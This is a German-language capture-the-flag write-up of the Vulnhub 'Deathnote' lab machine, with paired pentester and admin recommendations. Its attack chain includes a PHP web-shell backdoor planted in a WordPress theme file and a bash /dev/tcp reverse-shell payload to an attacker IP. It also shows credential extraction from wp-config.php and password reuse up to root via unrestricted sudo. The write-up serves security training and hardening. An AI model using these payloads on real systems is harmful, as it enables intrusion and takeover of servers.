Deathnote - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
vi (Texteditor)
gobuster
Webbrowser (Manual Analysis)
WordPress (Admin Interface)
nc (netcat)
grep
ls
cat
cd
Brainfuck Decoder (Extern)
su
find
ss
mysql (Client)
python3 http.server
wget
Base64 Decoder (Extern)
Hex Decoder (Extern)
CyberChef (Erwähnt)
sudo
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:69:39:21	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts zu durchsuchen.

Bewertung: Ein Host mit der IP `192.168.2.118` wurde identifiziert. Die MAC-Adresse (`08:00:27:69:39:21`) deutet auf eine VirtualBox VM hin.

Empfehlung (Pentester): Verwende `192.168.2.118` als Ziel-IP für weitere Scans.
Empfehlung (Admin): Standard Netzwerkerkennung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.118 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 15:36 CEST
Nmap scan report for deathnote.local (192.168.2.118)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5eb8ff2dacc7e93c992f3bfcda5ca353 (RSA)
|   256 a8f3819d0adc169a49eebc24e4655ca6 (ECDSA)
|_  256 4f20c32d19755be81f320175c2709a7e (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:69:39:21 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms deathnote.local (192.168.2.118)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird gegen das Ziel durchgeführt. Die Option `-AO` ist wahrscheinlich ein Tippfehler und wird als `-A -O` interpretiert, was OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute einschließt.

Bewertung: Zwei offene Ports werden gefunden: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-SSH-Dienst. * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Der Titel ist generisch, was auf eine Standardseite oder eine Webanwendung hindeutet. Nmap hat auch den Hostnamen `deathnote.local` über Reverse DNS oder einen ähnlichen Mechanismus ermittelt.

Empfehlung (Pentester): Konzentriere dich auf den Webserver auf Port 80. Füge `deathnote.local` zur `/etc/hosts`-Datei hinzu. Prüfe SSH auf schwache Anmeldedaten.
Empfehlung (Admin): Halte Apache und OpenSSH aktuell. Konfiguriere Hostnamen korrekt.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.38 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version [...]
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found [...].  <-- Falsch positive Drupal-Erkennung?
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wordpress/wp-login.php: Wordpress login found.
[...]
+ 1 host(s) tested
                     

Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.

Bewertung: Nikto liefert eine Fülle von Informationen: * Bestätigt veralteten Apache, fehlende Header, Standard-Verzeichnisse (`/manual`, `/icons`). * **Entscheidend:** Identifiziert eindeutig eine **WordPress-Installation** im Verzeichnis `/wordpress/`. * Findet spezifische WordPress-Dateien und -Pfade (`wp-links-opml.php`, `wp-admin`, `wp-login.php`, `wp-content/uploads`, Akismet-Plugin). * Bemängelt fehlendes `httponly`-Flag für ein WordPress-Cookie. * Directory Indexing ist im Uploads-Verzeichnis (`/wordpress/wp-content/uploads/`) aktiv. Der Fokus muss nun klar auf der WordPress-Installation liegen.

Empfehlung (Pentester):** Führe `wpscan` gegen `http://deathnote.local/wordpress/` (oder `deathnote.vuln`) aus, um Benutzer, Plugins, Themes und bekannte Schwachstellen zu enumerieren. Untersuche das `/uploads`-Verzeichnis. Versuche Standard-Logins oder Brute-Force gegen `wp-login.php`.
Empfehlung (Admin):** Apache und WordPress (Core, Plugins, Themes) dringend aktualisieren. WordPress härten (unnötige Dateien entfernen, Dateiberechtigungen prüfen, Directory Indexing deaktivieren, Sicherheitsplugins verwenden).

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.118	   deathnote.local deathnote.vuln
                     

Analyse: Die lokale `/etc/hosts`-Datei wird erneut bearbeitet, um zusätzlich den Hostnamen `deathnote.vuln` (der später im Bericht verwendet wird) der Ziel-IP zuzuordnen.

Bewertung: Stellt sicher, dass das Ziel über beide potenziellen Hostnamen erreichbar ist.

Empfehlung (Pentester): Konsequent einen der Hostnamen (z.B. `deathnote.vuln`) verwenden.
Empfehlung (Admin): Serverseitig sicherstellen, dass der korrekte Hostname verwendet wird (falls vHosts konfiguriert sind).

Web Enumeration (WordPress)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://deathnote.vuln -x [...] -w [...] -b '403,404' -e --no-error
http://deathnote.vuln/index.html           (Status: 200) [Size: 197]
http://deathnote.vuln/wordpress            (Status: 301) [Size: 320] [--> http://deathnote.vuln/wordpress/]
http://deathnote.vuln/manual               (Status: 301) [Size: 317] [--> http://deathnote.vuln/manual/]
http://deathnote.vuln/robots.txt           (Status: 200) [Size: 68]
                    

Analyse: `gobuster` wird gegen den Host `deathnote.vuln` (Port 80) ausgeführt. Diesmal wird der Statuscode 301 (Moved Permanently) *nicht* ausgeblendet (`-b '403,404'`).

Bewertung: Findet die Startseite, `robots.txt`, das Apache-Manual (`/manual`) und **wichtig:** das WordPress-Verzeichnis (`/wordpress`) aufgrund des 301-Redirects auf `/wordpress/`.

Empfehlung (Pentester): Untersuche `robots.txt` und konzentriere dich auf das `/wordpress`-Verzeichnis.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.

[Inhalt von http://deathnote.vuln/robots.txt] └─#
fuck it my dad
added hint on /important.jpg

ryuk please delete it
                     

Analyse: Der Inhalt der `robots.txt`-Datei wird angezeigt.

Bewertung:** Enthält keinen Standard `Disallow`/`Allow`-Eintrag, sondern eine Nachricht und einen **Hinweis auf eine Bilddatei**: `/important.jpg`. Der Kontext (Death Note Thema, Ryuk) ist Teil des CTF-Flavors.

Empfehlung (Pentester): Lade die Datei `http://deathnote.vuln/important.jpg` herunter und untersuche sie (Metadaten, Steganografie, sichtbarer Inhalt).
Empfehlung (Admin): `robots.txt` sollte für Suchmaschinen relevante Anweisungen enthalten, keine internen Notizen oder Hinweise.

[Manuelle Analyse von http://deathnote.vuln/important.jpg] └─#
[Bild wird analysiert - Ergebnis nicht explizit gezeigt, aber führt zum nächsten Schritt]

Analyse: Die Bilddatei `/important.jpg` wird untersucht (impliziert).

Bewertung: Die Analyse des Bildes (vermutlich sichtbarer Text oder einfache Steganografie) führt zum nächsten Schritt: der Untersuchung der WordPress-Seite selbst.

Empfehlung (Pentester): Folge dem Hinweis aus dem Bild zur WordPress-Seite.
Empfehlung (Admin): Speichere keine Hinweise in Bildern.

[Manuelle Analyse von http://deathnote.vuln/wordpress/] └─#
Skip to content
kira
kira

i am the god on new WORLD!!!

    HINT

i will eliminate you L!

I am light yagami , son of Soichiro Yagami . A great and intelligent person
exists on this planet after L . ….
Published July 19, 2021

Categorized as Uncategorized
my fav line is iamjustic3

    L on i will eliminate you L!
[...]
kira
Proudly powered by WordPress.
                     

Analyse: Die Startseite der WordPress-Installation (`/wordpress/`) wird untersucht.

Bewertung:** Die Seite enthält mehrere Hinweise: * Der Benutzername des Autors/Administrators scheint `kira` zu sein. * Der Text enthält Anspielungen auf den Death Note Anime (Light Yagami, L). * **Wichtig:** Ein Satz lautet "my fav line is iamjustic3". Dies ist sehr wahrscheinlich das Passwort für den Benutzer `kira`.

Empfehlung (Pentester):** Versuche, dich mit den Zugangsdaten `kira:iamjustic3` am WordPress-Login (`/wordpress/wp-login.php`) anzumelden.
Empfehlung (Admin):** Gib niemals Passwörter oder starke Hinweise darauf im öffentlichen Inhalt einer Webseite preis. Verwende starke, einzigartige Passwörter.

Initial Access (WordPress RCE)

[Login-Versuch auf http://deathnote.vuln/wordpress/wp-login.php] └─#
Username: kira
Password: iamjustic3

[Login erfolgreich - Weiterleitung zum WordPress Admin Dashboard]
                     

Analyse: Die im vorherigen Schritt gefundenen Zugangsdaten (`kira:iamjustic3`) werden verwendet, um sich über `wp-login.php` am WordPress-Backend anzumelden.

Bewertung: **Login erfolgreich!** Der Zugriff auf das WordPress-Admin-Dashboard als Benutzer `kira` wurde erlangt.

Empfehlung (Pentester): Suche nach Möglichkeiten, Code auszuführen. Eine gängige Methode ist das Bearbeiten von Theme-Dateien (insbesondere `404.php` oder `functions.php`), falls der Benutzer die entsprechenden Rechte hat.
Empfehlung (Admin): Starke Passwörter verwenden, Admin-Zugang schützen (z.B. 2FA, IP-Whitelisting), Benutzerrechte minimal halten.

[Navigation im WP-Admin zu Appearance -> Theme Editor -> 404 Template (404.php)] └─# [Bearbeiten der 404.php Datei]



[...]
                     
[Speichern der Datei] └─#
File edited successfully.

Analyse: Innerhalb des WordPress-Adminbereichs wird der Theme-Editor verwendet, um die Datei `404.php` des aktiven Themes (Twenty Nineteen) zu bearbeiten. Der PHP-Code `system($_GET['cmd']);` wird am Anfang der Datei eingefügt. Dieser Code nimmt einen Befehl aus dem URL-Parameter `cmd` entgegen und führt ihn auf dem Server aus.

Bewertung:** **Remote Code Execution (RCE) vorbereitet!** Durch das Bearbeiten der Theme-Datei wurde eine Hintertür geschaffen. Jedes Mal, wenn eine nicht existierende Seite aufgerufen wird (was die 404.php auslöst), kann nun über den `cmd`-Parameter Code ausgeführt werden. Dies ist möglich, da der Benutzer `kira` ausreichende Rechte zum Bearbeiten von Themes hat.

Empfehlung (Pentester): Rufe eine nicht existierende URL auf, die auf die modifizierte `404.php` verweist (z.B. `http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php`), und hänge den `?cmd=` Parameter mit einem Befehl an (z.B. `?cmd=id`).
Empfehlung (Admin):** Deaktiviere den Plugin- und Theme-Editor im WordPress-Backend (füge `define('DISALLOW_FILE_EDIT', true);` zur `wp-config.php` hinzu). Weise Benutzern nur die minimal notwendigen Rechte zu.

[Aufruf der modifizierten 404.php] └─# curl http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls
404.php
archive.php
classes
comments.php
[...]
page.php
[...]
                     
[Aufruf der modifizierten 404.php] └─# curl http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Die modifizierte `404.php` wird über den Browser oder `curl` aufgerufen. Die Befehle `ls` und `id` werden über den `cmd`-Parameter übergeben.

Bewertung: **RCE bestätigt!** Der Server führt die übergebenen Befehle aus und gibt die Ergebnisse zurück. Die Befehle werden als Benutzer `www-data` (der Benutzer des Apache-Webservers) ausgeführt.

Empfehlung (Pentester): Nutze die RCE, um eine interaktive Reverse Shell zu erhalten.
Empfehlung (Admin): Theme-Editor deaktivieren, Berechtigungen prüfen.

Proof of Concept: Initial Access (www-data)

Ziel des POC: Demonstrieren, wie durch Ausnutzung von im Webseiteninhalt gefundenen WordPress-Zugangsdaten (`kira:iamjustic3`) und der Berechtigung zum Bearbeiten von Theme-Dateien eine PHP-Backdoor in die `404.php` eingefügt wird, um Remote Code Execution als `www-data` zu erlangen und eine Reverse Shell zu starten.

Voraussetzungen:

  • WordPress-Installation unter `http://deathnote.vuln/wordpress/`.
  • Gültige Admin-Zugangsdaten (`kira:iamjustic3`).
  • Berechtigung für Benutzer `kira`, Theme-Dateien zu bearbeiten.
  • Netzwerkzugriff vom Ziel zum Angreifer-System für die Reverse Shell.
  • Tools auf Angreiferseite: Webbrowser, `nc`.

Schritt-für-Schritt Anleitung:

1. WordPress-Login: Mit `kira:iamjustic3` unter `/wordpress/wp-login.php` anmelden.

2. Theme-Datei bearbeiten: Zum Theme-Editor navigieren (Appearance -> Theme Editor), die `404.php` des Themes `twentynineteen` auswählen und den Code `` am Anfang einfügen. Speichern.

[WP Admin Interface] └─#
File edited successfully.

3. RCE testen (optional): Die modifizierte Datei mit einem einfachen Befehl aufrufen.

[Angreifer-System] └─# curl "http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Listener starten: Auf dem Angreifer-System einen Netcat-Listener starten.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...

5. Reverse Shell auslösen: Die modifizierte 404.php mit dem Bash-Reverse-Shell-Payload aufrufen.

Payload URL: `http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27`

[Angreifer-System] └─# curl "http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27"
[Keine relevante Ausgabe von curl]

6. Eingehende Verbindung empfangen: Der Netcat-Listener empfängt die Reverse Shell als `www-data`.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.118] 55260
bash: cannot set terminal process group (486): Inappropriate ioctl for device
bash: no job control in this shell
www-data@deathnote:/var/www/deathnote.vuln/wordpress/wp-content/themes/twentynineteen$
                      

Ergebnis & Bewertung: **Initial Access als `www-data` erfolgreich!** Die Kompromittierung eines WordPress-Admin-Kontos und die Möglichkeit, Theme-Dateien zu bearbeiten, führten direkt zu Remote Code Execution und einer Reverse Shell. Dies ist ein häufiger und kritischer Angriffsvektor bei unsicheren WordPress-Installationen.

Empfehlung (Pentester): Beginne die Post-Exploitation als `www-data`. Suche nach sensiblen Daten (z.B. `wp-config.php`) und Wegen zur Rechteerweiterung.
Empfehlung (Admin): WordPress härten: Starke Passwörter, Theme-/Plugin-Editor deaktivieren (`DISALLOW_FILE_EDIT`), minimale Benutzerrechte, regelmäßige Updates.

User Escalation (www-data -> l)

Analyse:** Nach Erhalt der Shell als `www-data` wird nach sensiblen Informationen gesucht, insbesondere in der WordPress-Konfigurationsdatei.

www-data@deathnote:/var/www/deathnote.vuln/wordpress/wp-content/themes/twentynineteen$ cd /var/www/deathnote.vuln/wordpress
www-data@deathnote:/var/www/deathnote.vuln/wordpress$ grep -i "user\|pass" wp-config.php
/** MySQL database username */
define( 'DB_USER', 'l' );
/** MySQL database password */
define( 'DB_PASSWORD', 'death4me' );
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
                      

Analyse: Im WordPress-Hauptverzeichnis wird die Datei `wp-config.php` mit `grep` nach Zeilen durchsucht, die "user" oder "pass" enthalten (case-insensitive).

Bewertung: **Wichtiger Fund!** Die Datenbank-Zugangsdaten werden gefunden: Benutzer `l` mit dem Passwort `death4me`. Diese könnten potenziell auch für einen Systembenutzer `l` wiederverwendet worden sein.

Empfehlung (Pentester): Prüfe, ob es einen Systembenutzer `l` gibt (`ls /home`). Versuche, dich mit `su l` und dem Passwort `death4me` als Benutzer `l` anzumelden. Versuche auch, dich per SSH als `l` anzumelden. Untersuche die MySQL-Datenbank mit diesen Zugangsdaten.
Empfehlung (Admin): Verwende niemals dieselben Passwörter für Datenbanken und Systembenutzer. Beschränke die Leserechte für `wp-config.php` so weit wie möglich (nur für den Webserver-Benutzer).

www-data@deathnote:/var/www/deathnote.vuln/wordpress$ ls -la /home/
total 16
drwxr-xr-x  4 root root 4096 Jul 19  2021 .
drwxr-xr-x 18 root root 4096 Jul 19  2021 ..
drwxr-xr-x  4 kira kira 4096 Sep  4  2021 kira
drwxr-xr-x  4 l    l    4096 Sep  4  2021 l
                     
www-data@deathnote:/var/www/deathnote.vuln/wordpress$ cd /home/l
www-data@deathnote:/home/l$ ls -la
total 36
drwxr-xr-x 4 l    l    4096 Sep  4  2021 .
drwxr-xr-x 4 root root 4096 Jul 19  2021 ..
-rw------- 1 l    l       3 Sep  4  2021 .bash_history
-rw-r--r-- 1 l    l     220 Jul 19  2021 .bash_logout
-rw-r--r-- 1 l    l    3526 Jul 19  2021 .bashrc
drwxr-xr-x 3 l    l    4096 Jul 19  2021 .local
-rw-r--r-- 1 l    l     807 Jul 19  2021 .profile
drwx------ 2 l    l    4096 Sep  4  2021 .ssh
-rw-r--r-- 1 root root  512 Jul 19  2021 user.txt
                     

Analyse: Das `/home`-Verzeichnis wird aufgelistet, was die Existenz der Benutzer `kira` und `l` bestätigt. Anschließend wird in das Home-Verzeichnis von `l` gewechselt und dessen Inhalt aufgelistet.

Bewertung: Im Home-Verzeichnis von `l` befindet sich die Datei `user.txt`. Diese gehört jedoch `root` und ist für `l` (und `www-data`) nur lesbar.

Empfehlung (Pentester): Lies den Inhalt von `user.txt`. Versuche, zu `l` zu wechseln (`su l`) mit dem Passwort `death4me`.
Empfehlung (Admin): Die `user.txt` sollte dem Benutzer `l` gehören und entsprechende Berechtigungen haben.

www-data@deathnote:/home/l$ cat user.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.
[... restlicher Brainfuck Code ...]
[Dekodierung mit https://www.dcode.fr/brainfuck-language] └─#
i think u got the shell , but you wont be able to kill me -kira

Analyse: Der Inhalt von `user.txt` wird ausgegeben. Es handelt sich um Brainfuck-Code. Dieser wird mit einem externen Online-Decoder entschlüsselt.

Bewertung: Die entschlüsselte Nachricht "i think u got the shell , but you wont be able to kill me -kira" ist keine Flag, sondern eine Nachricht vom CTF-Ersteller ("kira"). Die eigentliche User-Flag ist möglicherweise woanders oder wird durch einen anderen Mechanismus repräsentiert (die Hash-Werte am Ende des Original-Logs).

Empfehlung (Pentester): Notiere die Nachricht. Versuche weiterhin, zu `l` zu wechseln, um tieferen Zugriff zu erhalten.
Empfehlung (Admin): Speichere Flags nicht in obfuskierten Formaten ohne klaren Zweck.

www-data@deathnote:/home/l$ su l
Password: death4me [Passworteingabe]
l@deathnote:~$

Analyse: Der Befehl `su l` wird ausgeführt, um zum Benutzer `l` zu wechseln. Das aus `wp-config.php` extrahierte Passwort `death4me` wird eingegeben.

Bewertung: **Benutzerwechsel erfolgreich!** Das Datenbankpasswort wurde für den Systembenutzer `l` wiederverwendet. Wir haben nun eine Shell als Benutzer `l`.

Empfehlung (Pentester): Führe Enumeration als `l` durch. Suche nach SUID-Dateien, `sudo`-Rechten, interessanten Dateien/Verzeichnissen (z.B. `/opt`).
Empfehlung (Admin): **Passwort-Wiederverwendung vermeiden!** Datenbank- und Systempasswörter müssen unterschiedlich sein.

User Escalation (l -> kira)

Analyse:** Als Benutzer `l` wird weiter nach Wegen zur Rechteerweiterung oder interessanten Informationen gesucht.

l@deathnote:~$ find / -type f -perm -4000 -ls 2>/dev/null
[... Standard SUID binaries ...]
   665060    156 -rwsr-xr-x   1 root     root         157192 Jan 20  2021 /usr/bin/sudo
   [...]

Analyse: Suche nach SUID-Binaries als Benutzer `l`.

Bewertung: Die Liste zeigt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Binaries. `sudo` ist vorhanden.

Empfehlung (Pentester): Prüfe `sudo -l`. Untersuche die MySQL-Datenbank genauer.
Empfehlung (Admin): Regelmäßige Überprüfung von SUID-Dateien.

l@deathnote:~$ ss -altpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         80               127.0.0.1:3306             0.0.0.0:*
LISTEN    0         128                      *:80                     *:*
LISTEN    0         128                   [::]:22                  [::]:*
                     

Analyse: Auflisten der lauschenden TCP-Ports.

Bewertung: Bestätigt die Ports 22 (SSH) und 80 (Apache). Zeigt außerdem, dass der MySQL/MariaDB-Server (Port 3306) nur auf dem Localhost-Interface (127.0.0.1) lauscht und somit nicht direkt von außen erreichbar ist.

Empfehlung (Pentester): Da wir die DB-Credentials (`l:death4me`) haben und als `l` auf dem System sind, können wir uns nun mit dem lokalen MySQL-Client verbinden.
Empfehlung (Admin): Es ist eine gute Sicherheitspraxis, Datenbankdienste nur an localhost zu binden, wenn kein externer Zugriff benötigt wird.

l@deathnote:~$ mysql -u l -p
Enter password: death4me [Passworteingabe]
Welcome to the MariaDB monitor. [...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
[...]
MariaDB [(none)]> use wordpress;
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
[...] | wp_users              | [...]
+-----------------------+
[...]
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url                        | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+
|  1 | kira       | $P$BLAm2r4YofLSOywvLguipu8Av1Tuwq. | kira          | kira123@gmail.com | http://deathnote.vuln/wordpress | 2021-07-19 13:36:00 |                     |           0 | kira         |
+----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+
                     

Analyse: Login in die lokale MariaDB-Datenbank als Benutzer `l` mit dem Passwort `death4me`. Die `wordpress`-Datenbank wird ausgewählt und der Inhalt der Tabelle `wp_users` abgefragt.

Bewertung: Findet den WordPress-Benutzer `kira`. Das Passwort (`user_pass`) ist als Hash gespeichert (`$P$B...`). Dies ist ein phpass-Hash, der typisch für ältere WordPress-Versionen ist.

Empfehlung (Pentester): Versuche, den Hash `$P$BLAm2r4YofLSOywvLguipu8Av1Tuwq.` mit Tools wie `hashcat` oder `john` zu knacken. Das Passwort `iamjustic3`, das wir bereits von der Webseite kennen, sollte mit diesem Hash übereinstimmen.
Empfehlung (Admin): WordPress verwendet mittlerweile standardmäßig stärkere Hashing-Algorithmen. Sicherstellen, dass die Datenbank und die Anwendung aktuell sind.

l@deathnote:~$ su kira
Password: iamjustic3 [Passworteingabe]
su: Authentication failure

Analyse: Es wird versucht, mit `su` zum Benutzer `kira` zu wechseln, unter Verwendung des Passworts `iamjustic3`, das auf der WordPress-Seite gefunden wurde.

Bewertung: Der Versuch **scheitert**. Obwohl `iamjustic3` das WordPress-Login-Passwort war, ist es anscheinend nicht das Systempasswort für den Benutzer `kira`.

Empfehlung (Pentester): Das Knacken des Hashes aus der Datenbank ist nicht notwendig, da das WP-Passwort bekannt ist, aber für den Systemzugang als `kira` nicht funktioniert. Suche nach anderen Wegen, um als `kira` zu agieren oder direkt zu `root` zu gelangen. Untersuche die Verzeichnisse in `/opt`.

l@deathnote:~$ cd /opt/L
l@deathnote:/opt/L$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Aug 29  2021 .
drwxr-xr-x 3 root root 4096 Aug 29  2021 ..
drwxr-xr-x 2 root root 4096 Aug 29  2021 fake-notebook-rule
drwxr-xr-x 2 root root 4096 Aug 29  2021 kira-case
                     
l@deathnote:/opt/L$ cd kira-case/
l@deathnote:/opt/L/kira-case$ cat case-file.txt
the FBI agent died on December 27, 2006
[...]
and we also found something in
fake-notebook-rule folder .
                     
l@deathnote:/opt/L/kira-case$ cd ../fake-notebook-rule/
l@deathnote:/opt/L/fake-notebook-rule$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Aug 29  2021 .
drwxr-xr-x 4 root root 4096 Aug 29  2021 ..
-rw-r--r-- 1 root root   84 Aug 29  2021 case.wav
-rw-r--r-- 1 root root   15 Aug 29  2021 hint
                     
l@deathnote:/opt/L/fake-notebook-rule$ cat hint
use cyberchef

Analyse: Der Benutzer `l` navigiert in das Verzeichnis `/opt/L` und dessen Unterverzeichnisse `kira-case` und `fake-notebook-rule`. In `kira-case` wird eine Textdatei mit Hinweisen gefunden. In `fake-notebook-rule` werden eine WAV-Datei (`case.wav`) und eine `hint`-Datei gefunden. Die `hint`-Datei enthält den Text "use cyberchef".

Bewertung: Dies ist ein weiterer klarer Hinweis. Die Datei `case.wav` enthält wahrscheinlich versteckte Informationen, die mit CyberChef (einem Online-Tool für Datenmanipulation und -analyse) extrahiert werden können. Dies führt wahrscheinlich zum Passwort für `kira`.

Empfehlung (Pentester): Übertrage die Datei `case.wav` auf das Angreifer-System und analysiere sie mit CyberChef oder ähnlichen Tools, die Audio-Steganografie oder versteckte Daten in Mediendateien aufdecken können.
Empfehlung (Admin): Speichere sensible Informationen nicht in versteckter Form in ungesicherten Verzeichnissen.

l@deathnote:/opt/L/fake-notebook-rule$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [31/May/2023 10:09:27] "GET /case.wav HTTP/1.1" 200 -
┌──(root㉿cyber)-[~/VBoxn] └─# wget 192.168.2.118:8000/case.wav
[...] 'case.wav' gespeichert [84/84]

Analyse: Die Datei `case.wav` wird vom Zielsystem (als Benutzer `l`) mittels eines temporären Python-HTTP-Servers auf das Angreifer-System heruntergeladen.

Bewertung: Notwendiger Schritt zur Offline-Analyse der Datei.

Empfehlung (Pentester): Analysiere `case.wav` mit CyberChef.
Empfehlung (Admin): Egress-Filtering kann solche Dateitransfers verhindern.

Analyse:** Der folgende Block beschreibt die Offline-Analyse von `case.wav`.

[Offline Analyse mit CyberChef / base64decode.org] └─#
1. Lade case.wav in Base64-Decoder oder CyberChef (Input from File).
2. Extrahiere Hex-Output: 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
3. Dekodiere Hex zu ASCII: cGFzc3dkIDoga2lyYWlzZXZpbCA=
4. Dekodiere Base64: passwd : kiraisevil
                       

Analyse: Die heruntergeladene `case.wav` wird analysiert. Der Prozess ist: WAV -> Hex -> Base64 -> Klartext.

Bewertung:** **Passwort gefunden!** Die Analyse der WAV-Datei (die vermutlich nur die Hex-Daten enthielt) ergibt nach mehrfacher Dekodierung das Passwort `kiraisevil`.

Empfehlung (Pentester): Verwende dieses Passwort, um dich als Benutzer `kira` anzumelden (`su kira`).
Empfehlung (Admin): Keine Passwörter in Dateien verstecken.

l@deathnote:/opt/L/fake-notebook-rule$ su kira
Password: kiraisevil [Passworteingabe]
kira@deathnote:/opt/L/fake-notebook-rule$

Analyse: Erneuter Versuch, mit `su` zum Benutzer `kira` zu wechseln, diesmal mit dem aus `case.wav` dekodierten Passwort `kiraisevil`.

Bewertung: **Benutzerwechsel erfolgreich!** Diesmal funktioniert der Wechsel, und wir haben eine Shell als Benutzer `kira`.

Empfehlung (Pentester): Prüfe die `sudo`-Berechtigungen für `kira` (`sudo -l`).
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden.

Privilege Escalation (kira -> root)

Analyse:** Als Benutzer `kira` werden die `sudo`-Rechte überprüft.

kira@deathnote:/opt/L/fake-notebook-rule$ sudo -l
[sudo] password for kira: kiraisevil [Passworteingabe]
Matching Defaults entries for kira on deathnote:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kira may run the following commands on deathnote:
    (ALL : ALL) ALL
                     

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den aktuellen Benutzer (`kira`) aufzulisten. Das Passwort `kiraisevil` wird benötigt.

Bewertung:** **Kritische Fehlkonfiguration!** Die Ausgabe `(ALL : ALL) ALL` bedeutet, dass der Benutzer `kira` **jeden** Befehl als **jeden** Benutzer (insbesondere `root`) auf diesem Host ausführen darf.

Empfehlung (Pentester):** Nutze die `sudo`-Rechte, um eine Root-Shell zu erhalten, z.B. mit `sudo su` oder `sudo /bin/bash`.
Empfehlung (Admin):** **Dringend die `/etc/sudoers`-Datei korrigieren!** Weise Benutzern nur die spezifischen `sudo`-Rechte zu, die sie für ihre Aufgaben benötigen. Vermeide `(ALL : ALL) ALL`.

kira@deathnote:/opt/L/fake-notebook-rule$ sudo su
root@deathnote:/opt/L/fake-notebook-rule# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `sudo su` wird ausgeführt.

